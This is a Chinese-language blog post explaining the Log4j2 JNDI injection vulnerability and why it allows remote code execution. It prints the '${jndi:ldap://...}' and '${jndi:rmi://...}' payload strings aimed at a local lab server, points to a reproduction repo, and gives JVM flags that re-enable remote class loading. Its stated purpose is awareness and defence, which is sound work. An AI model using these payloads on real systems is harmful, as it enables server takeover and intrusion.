为什么Log4j2的JNDI注入漏洞那么严重?

2,957 阅读2分钟

背景

相信这周大家都被Log4j2的漏洞刷屏了,都说是"核弹级"漏洞,这个漏洞的原理,利用方式和影响范围是怎样的,凭什么称之为"核弹级漏洞",本文带大家一步步了解.

基础知识

JAVA提供的Lookup功能十分强大,主要是依赖于JNDI

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

image.png

JNDI只是一个上层封装, 下层支持各种接入,包括经常看到的RMI和LDAP
至于RMI和LDAP是什么,可以查看其它文章的解析,简单来说就是一个功能丰富的数据源,传入name,通过lookup返回对应的对象.

漏洞原理

对于下面一段简单的代码,log4j2会解析JNDI,通过lookup加载类,实例化对象,从而执行恶意逻辑(例如删文件等)

LOGGER.error("${jndi:ldap://127.0.0.1:1389/badClassName}");

参考网上常见的业务代码,应用很有可能打印User-Agent等常见属性,从而产生JNDI注入漏洞

String userAgent = request.getHeader("User-Agent");\
logger.info(userAgent);

攻击者在User-Agent里填入${jndi:ldap://127.0.0.1:1389/badClassName},即可构成注入,可见其门槛之低 image.png

根据图片可以看到,JNDI注入漏洞的对象可以是RMI或者LDAP,本质上都是因为加载了远程代码,让攻击者有可乘之机,Java的动态加载真是一把双刃剑.

重现

重现代码github.com/sabersword/… ,提供了LDAP和RMI两种方式
先运行ServerMain 启动RMI registry, LDAP Server和HTTP服务器, 之后再运行ClientMain即可重现,打开计算器

LOGGER.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
LOGGER.error("${jndi:rmi://127.0.0.1:1099/badClassName}");

除了打开计算器,还能执行任何命令,相当于攻击者获得了这台服务器这个用户的所有权限,因此危害性极大

重现注意点

由于某些JDK版本会关闭加载远程类的功能trustURLCodebase,所以ClientMain最好打开该功能以重现:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true  
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

具体JDK版本如下,来源:xz.aliyun.com/t/6633 image.png

结语

基本上是参考大牛的文章4ra1n.love/post/hbHrd-… ,再结合自己的理解和实践得到的,写这篇文章不是为了教会大家如何攻击,而是希望大家了解漏洞危害,认识系统弱点,构筑更安全的系统,共勉